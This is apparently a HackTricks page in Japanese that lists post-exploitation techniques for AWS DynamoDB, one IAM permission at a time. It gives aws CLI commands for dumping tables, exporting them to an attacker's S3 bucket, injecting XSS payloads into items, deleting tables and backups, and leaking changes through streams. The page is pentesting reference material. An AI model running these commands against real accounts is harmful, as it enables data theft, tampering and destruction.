AWS - DynamoDB Post Exploitation

HackTricksをサポートする

DynamoDB

詳細については以下を参照してください:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

この権限を持つ攻撃者は、プライマリキーによってテーブルからアイテムを取得することができます(テーブルのすべてのデータを要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(テーブルのメタデータを取得することでこれを得ることができます (describe-table))。

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格

dynamodb:GetItem

前述の権限と同様に、この権限は潜在的な攻撃者がエントリを取得するためのプライマリキーを指定して、1つのテーブルから値を読み取ることを許可します:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

この権限があれば、transact-get-items メソッドを次のように使用することも可能です:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

潜在的影響: テーブル内の機密情報を見つけることによる間接的な権限昇格

dynamodb:Query

前述の権限と同様に、この権限は攻撃者が指定されたプライマリキーを使用して1つのテーブルから値を読み取ることを可能にします。これは比較のサブセットを使用することができますが、プライマリキー(必須)が「EQ」としてのみ比較されるため、リクエストでデータベース全体を取得することはできません。

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

潜在的な影響: テーブル内の機密情報を見つけることによる間接的な権限昇格

dynamodb:Scan

この権限を使用してテーブル全体を簡単にダンプできます。

aws dynamodb scan --table-name <t_name> #Get data inside the table

潜在的影響: テーブル内の機密情報を見つけることによる間接的な権限昇格

dynamodb:PartiQLSelect

この権限を使用してテーブル全体を簡単にダンプできます。

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

この権限により、次のような batch-execute-statement の実行も可能です:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

しかし、値を持つプライマリキーを指定する必要があるため、それほど有用ではありません。

潜在的な影響: テーブル内の機密情報を特定することによる間接的な権限昇格

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

この権限により、攻撃者は選択したS3バケットにテーブル全体をエクスポートすることができます:

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

注意: これが機能するためには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかを確認するには、次のコマンドを使用します:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

有効になっていない場合は、有効にする必要があり、そのためには**dynamodb:ExportTableToPointInTime**権限が必要です:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

潜在的影響: テーブル内の機密情報を特定することによる間接的な権限昇格

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

これらの権限があると、攻撃者はバックアップから新しいテーブルを作成することができます(またはバックアップを作成して別のテーブルに復元することも可能です)。その後、必要な権限があれば、本番テーブルにはもう存在しないバックアップからの情報を確認することができます。

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

潜在的影響: テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格

dynamodb:PutItem

この権限により、ユーザーは新しいアイテムをテーブルに追加したり、既存のアイテムを新しいアイテムで置き換えることができます。同じプライマリキーを持つアイテムが既に存在する場合、全体のアイテムが新しいアイテムで置き換えられます。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが作成されます。

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

潜在的影響: DynamoDBテーブル内のデータを追加/変更することで、さらなる脆弱性/バイパスの悪用が可能になる

dynamodb:UpdateItem

この権限により、ユーザーはアイテムの既存の属性を変更したり、新しい属性を追加したりすることができます。これはアイテム全体を置き換えるのではなく、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、この操作は指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

潜在的な影響: DynamoDBテーブルにデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用

dynamodb:DeleteTable

この権限を持つ攻撃者は、DynamoDBテーブルを削除し、データを失う可能性があります

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

潜在的な影響: データの損失および削除されたテーブルに依存するサービスの中断。

dynamodb:DeleteBackup

この権限を持つ攻撃者は、DynamoDBのバックアップを削除し、災害復旧シナリオにおいてデータ損失を引き起こす可能性があります

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

潜在的な影響: データの損失および災害復旧シナリオでのバックアップからの復旧不能。

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

TODO: 実際にこれが機能するかテストする

これらの権限を持つ攻撃者は、DynamoDBテーブルにストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視することができます。これにより、攻撃者はデータの変更を監視および流出させることができ、データ漏洩の可能性があります。

  1. DynamoDBテーブルにストリームを有効にする:

bashCopy codeaws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. ストリームを記述してARNおよびその他の詳細を取得します:

bashCopy codeaws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. stream ARNを使用してシャードイテレータを取得する:

bashCopy codeaws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. シャードイテレータを使用してストリームからデータにアクセスし、漏洩させる:

bashCopy codeaws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

潜在的な影響: DynamoDBテーブルの変更のリアルタイム監視とデータ漏洩。

HackTricksをサポートする

Last updated